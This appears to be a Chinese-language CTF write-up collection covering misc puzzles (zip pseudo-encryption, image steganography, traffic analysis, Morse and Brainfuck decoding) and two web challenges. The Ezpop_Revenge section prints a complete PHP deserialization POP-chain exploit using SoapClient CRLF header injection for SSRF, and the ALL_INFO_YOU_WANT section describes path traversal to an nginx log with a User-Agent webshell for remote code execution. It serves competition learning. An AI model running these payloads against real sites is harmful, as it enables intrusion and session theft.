14 00:解压文件所需 pkware 版本

00 00:全局方式位标记(有无加密,这个更改这里进行伪加密,改为09 00打开就会提示有密码了)

08 00:压缩方式

5A 7E:最后修改文件时间

F7 46:最后修改文件日期

16 B5 80 14:CRC-32校验(1480B516)

19 00 00 00:压缩后尺寸(25)

17 00 00 00:未压缩尺寸(23)

07 00:文件名长度

24 00:扩展字段长度

00 00:文件注释长度

00 00:磁盘开始号

00 00:内部文件属性

20 00 00 00:外部文件属性

00 00 00 00:局部头部偏移量

压缩源文件目录结束标志

50 4B 05 06:目录结束标记

00 00:当前磁盘编号

00 00:目录区开始磁盘编号

01 00:本磁盘上纪录总数

01 00:目录区中纪录总数

59 00 00 00:目录区尺寸大小

3E 00 00 00:目录区对第一张磁盘的偏移量

00 00:ZIP 文件注释长度

因此,根据此题目来看:

压缩源文件数据区:50 4B 03 04:这是头文件标记
然后我们直接搜索加密方式
0900 说明是有加密,0800说明无加密

img

接下来使用其他解压软件打开就行了,这里用得是winrar

被嗅探的流量

直接搜索flag就行了

镜子里的世界

使用stegslove 打开,点击extract preview功能,选取最低0通道,
img
打开即可看到flag

ningen

在010editor中发现信息
img

使用分离工具分离一下
然后zip密码爆破一下

小明的保险箱

img 应该又是要分离一下文件,分离 以后需要密码,再回去看 发现010editor有说 img

escape cap

追踪tcp流即可

另一个世界

文件尾巴,然后二进制转字符串即可z

隐藏的钥匙

图片隐写 使用010打开,直接点击搜索类型——text,然后点击搜索flag即可

FLAG

steg打开,使用bin保存,然后保存为zip,解压以后得到的文件,使用010打开,然后搜索{
就可以找到flag
这里说一下思路感觉没有提示,单纯让你就是硬试?所以小结一下

小结

遇到图片——010editor打开试试,全局搜索flag、txt、zip等文件,如果有,就去分离,没有的话就考虑是否隐藏在LSB中,所以分离0通道导出为bin,然后尝试,也许是jpg,也许是txt,也许是zip,主要看文件头,像这题
img
504b0304明显是zip的文件头,所以保存为zip

假如给我三天光明

img 下面应该是压缩包的密码,但是没看懂是干个啥 原来是盲文表。。。对照一下:
kmdonowg

得到了一个音频,听起来就是个莫斯电码

-.-. - …-. .-- .–. . … ----- —… --… …-- …— …–… …— …-- -… --…

flag{wpei08732?23dz}

神秘龙卷风

爆破一下
https://www.splitbrain.org/services/ook
brainfuck加密,解密一下:

后门查杀

要我们找webshell文件,这里可以使用linux系统的查找文件内容指令,或者使用D盾,这里试一下D盾,因为D盾后续还可用于awd查找shell文件
imgimg

数据包中的线索

在流量包中可以看到一个很长的东西,感觉是有问题的base64解码一下,可以发现是一个JFIF文件
img

此网站解码可以直接转成文件
https://the-x.cn/base64

img

荷兰宽带数据泄露

RouterPassView查看后,搜索username或者password

MISC 来首歌吧

莫斯密码

面具下的flag

binwalk分离一下文件,可以得到一个压缩文件,zip伪加密,然后将0900改为0800

img

然后再linux解压这个文件

7z x flag.vmdk -o./

找到 key_part_one 里的 NUL文件 和 key_part_two 里的 where_is_flag_part_two.txt:flag_part_two_is_here.txt
注意:windows下解压不会有<where_is_flag_part_two.txt:flag_part_two_is_here.txt这个文件 只有linux用命令解压才会有https://blog.csdn.net/weixin_45485719/article/details/107417878
就可以发现有如下文件:
img

这里是解密网址:

https://www.splitbrain.org/services/ook

flag{N7F5_AD5_i5_funny!}

九连环

010打开,发现flag.txt,然后去kali分离一下得到一个压缩包需要密码

然后又得到一张照片,,啥信息也没看到,原来是需要一个新的工具:

steghide
将secret.txt文件隐藏到text.jpg中:
# steghide embed -cf test.jpg -ef secret.txt -p 123456

从text.jpg解出secret.txt:
#steghide extract -sf test.jpg -p 123456
————————————————
版权声明:本文为CSDN博主「Blood_Seeker」的原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接及本声明。
原文链接:https://blog.csdn.net/Blood_Seeker/article/details/81837571

小结

为了校赛做了一下misc,单纯学一下基本操作:
1.压缩文件:zip:考虑zip爆破,或者zip伪加密
rar:使用rar爆破密码工具
2.图片——隐写:
010打开,直接搜索flag、txt、jpg等,看看有没有隐藏,分离一下
steg工具,lsb的0通道合成一下导出为bin 看一下文件头是个啥,保存为特定的文件就行了

MRCTF2020

[MRCTF2020]Ezpop_Revenge

www.zip源码泄露,下载下来审计一下,有一个flag.php,看起来是需要SSRF漏洞的因为需要你访问的来源是127.0.0.1

<?php
if(!isset($_SESSION)) session_start();
if($_SERVER['REMOTE_ADDR']==="127.0.0.1"){
$_SESSION['flag']= "MRCTF{******}";
}else echo "我扌your problem?\nonly localhost can get flag!";
?>

毕竟是框架题,看了一下,应该是要反序列化找ssrf的漏洞的位点然后去打,全局搜索一下反序列化函数,可以发现,我们传入的coincidence[‘hello’], $this->coincidence[‘world’]会被分为两个部分传入Typecho_Db

<?php
class HelloWorld_DB{
private $flag="MRCTF{this_is_a_fake_flag}";
private $coincidence;
function __wakeup(){
$db = new Typecho_Db($this->coincidence['hello'], $this->coincidence['world']);
}
}
class HelloWorld_Plugin implements Typecho_Plugin_Interface{
public function action(){
if(!isset($_SESSION)) session_start();
if(isset($_REQUEST['admin'])) var_dump($_SESSION);
if (isset($_POST['C0incid3nc3'])) {
if(preg_match("/file|assert|eval|[`\'~^?<>$%]+/i",base64_decode($_POST['C0incid3nc3'])) === 0)
unserialize(base64_decode($_POST['C0incid3nc3']));
else {
echo "Not that easy.";
}
}
}
}
?>

传入之后,在这里进行进行了一个拼接,并在最后实例化了这个类,可以看到这里提示了一个tostring
方法,所以我们就去找找Typecho_Db,看看是否有这个tostring方法,可以进行操作

public function __construct($adapterName, $prefix = 'typecho_')
{
/** 获取适配器名称 */
$this->_adapterName = $adapterName;

/** 数据库适配器 */
$adapterName = 'Typecho_Db_Adapter_' . $adapterName;

if (!call_user_func(array($adapterName, 'isAvailable'))) {
throw new Typecho_Db_Exception("Adapter {$adapterName} is not available");//__toString()
}

$this->_prefix = $prefix;

/** 初始化内部变量 */
$this->_pool = array();
$this->_connectedPool = array();
$this->_config = array();

//实例化适配器对象
$this->_adapter = new $adapterName();
}

可以发现,这里有一个tostring方法可以进行操作,其实链子到这里就似乎已经断了,但是该如何实现ssrf呢?就要想到一个php的内置类soapclient,而这里有个点,_adapter->parseSelect,如果将adapter赋值为这个类,那么就会调用这个类中不存在的方法,相当于触发了其中的call函数,并且这里还有可控的参数供我们写入

class Typecho_Db_Query
{
const KEYWORDS = '*PRIMARY|AND|OR|LIKE|BINARY|BY|DISTINCT|AS|IN|IS|NULL';
private static $_default = array(
'action' => NULL,
'table' => NULL,
'fields' => '*',
'join' => array(),
'where' => NULL,
'limit' => NULL,
'offset' => NULL,
'order' => NULL,
'group' => NULL,
'having' => NULL,
'rows' => array(),
);
private $_adapter;
private $_sqlPreBuild;
private $_prefix;
private $_params = array();
public function __toString()
{
switch ($this->_sqlPreBuild['action']) {
case Typecho_Db::SELECT:
return $this->_adapter->parseSelect($this->_sqlPreBuild);
case Typecho_Db::INSERT:
return 'INSERT INTO '
. $this->_sqlPreBuild['table']
. '(' . implode(' , ', array_keys($this->_sqlPreBuild['rows'])) . ')'
. ' VALUES '
. '(' . implode(' , ', array_values($this->_sqlPreBuild['rows'])) . ')'
. $this->_sqlPreBuild['limit'];
case Typecho_Db::DELETE:
return 'DELETE FROM '
. $this->_sqlPreBuild['table']
. $this->_sqlPreBuild['where'];
case Typecho_Db::UPDATE:
$columns = array();
if (isset($this->_sqlPreBuild['rows'])) {
foreach ($this->_sqlPreBuild['rows'] as $key => $val) {
$columns[] = "$key = $val";
}
}

return 'UPDATE '
. $this->_sqlPreBuild['table']
. ' SET ' . implode(' , ', $columns)
. $this->_sqlPreBuild['where'];
default:
return NULL;
}
}

梳理一下pop链的逻辑
1.HelloWorld_Plugin为pop链反序列化的入口,跳转至HelloWorld_DB类中进行Typecho_Db进行一个初始化,并通过concidence传入数值
2.通过tostring跳转至Typecho_Db的tostring魔术方法中
3.针对adatpter的一个调用赋值为sopa类并进行sopa类的call方法的调用,最后利用这个call方法进行一个ssrf发送报文实现flag的获取

所以初步的一个pop链就是

<?php

class HelloWorld_DB
{
private $flag = "MRCTF{this_is_a_fake_flag}";
private $coincidence;
function __construct()
{
$this->coincidence=array("hello"=>new Typecho_Db_Query());
}

}
class Typecho_Db_Query
{

function __construct()
{

$this->_adapter = new SoapClient();
$this->_sqlPreBuild=array("action"=>"SELECT");
$this->_adapter=new SoapClient;

}
}

但是我们要将flag带出来,还需要吧自己的phpsessid传过来,然而soap并不能设置cookie,因此需要crlf,soapclient可以这只ua,只要在ua后加上\r\nCookie:PHPSESSID=xxx,就可以为http头添加一个新的cookie字段,这样就可以带出session了,最后就是寻找一下其中的路由即可,
在/var/Typecho/Plugin.php 就有如下路由

 */
public static function activate($pluginName)
{
self::$_plugins['activated'][$pluginName] = self::$_tmp;
self::$_tmp = array();
Helper::addRoute("page_admin_action","/page_admin","HelloWorld_Plugin",'action');
}

但是在后面看了题解,发现这题有一个坑,就是这里private属性不能单纯的使用%00绕过需要将其转为十六进制才行
所以最终的脚本如下:

<?php

class HelloWorld_DB
{
private $flag = "MRCTF{this_is_a_fake_flag}";
private $coincidence;
function __construct()
{
$this->coincidence=array("hello"=>new Typecho_Db_Query());
}

}
class Typecho_Db_Query
{
private $_adapter;
private $_sqlPreBuild;
function __construct()
{
$target = "http://127.0.0.1/flag.php";
$post_string = '';
$headers = array(
'X-Forwarded-For: 127.0.0.1',
'Cookie: PHPSESSID=abcd'
);

$a = new SoapClient(null,array('location' => $target,
'user_agent'=>"eki\r\nContent-Type: application/x-www-form-urlencoded\r\n".join("\r\n",$headers)."\r\nContent-Length: ".(string)strlen($post_string)."\r\n\r\n".$post_string,
'uri' => "aaab"));
$this->_adapter = $a;
$this->_sqlPreBuild=array("action"=>"SELECT");

}
}
function decorate($str)
{
$arr = explode(':', $str);
$newstr = '';
for ($i = 0; $i < count($arr); $i++) {
if (preg_match('/00/', $arr[$i])) {
$arr[$i - 2] = preg_replace('/s/', "S", $arr[$i - 2]);
}
}
$i = 0;
for (; $i < count($arr) - 1; $i++) {
$newstr .= $arr[$i];
$newstr .= ":";
}
$newstr .= $arr[$i];
return $newstr;
}

$a = new HelloWorld_DB();
$a = preg_replace(" /\^\^/", "\r\n", $a);
$urlen = urlencode($a);
$urlen = preg_replace('/%00/', '%5c%30%30', $urlen);
$a = decorate(urldecode($urlen));
echo base64_encode($a);

但是很奇怪,用这个生成的payload打不通,于是我们来比对看看是哪里出了问题,测试了一下,原来问题出在http头的书写过程中

$target = "http://127.0.0.1/flag.php";
$post_string = '';
$headers = array(
'X-Forwarded-For: 127.0.0.1',
'Cookie: PHPSESSID=abcd'
);

$a = new SoapClient(null,array('location' => $target,
'user_agent'=>"eki\r\nContent-Type: application/x-www-form-urlencoded\r\n".join("\r\n",$headers)."\r\nContent-Length: ".(string)strlen($post_string)."\r\n\r\n".$post_string,
'uri' => "aaab"));
$this->_adapter = $a;

ALL_INFO_YOU_WANT

这种解法比较签到,是常规思路,这题的定位本来就是个白给的题目,所以就没改掉日志

由 http 回包 header 得知是 NGINX,直接:

all_info_u_want.php?file=../../../../../var/log/nginx/access.log

但是因为 url 会被 url 编码,可以把一句话木马写在 User-Agent,另外记得一定要闭合不然 php 执行会出错,包含即可 RCE
找flag新语句:通过文件内容找flag

find / -name "*" | xargs grep "flag{"

jsp内存马

电子取证

2021国赛总决赛复现

babypython[国赛总决赛复现]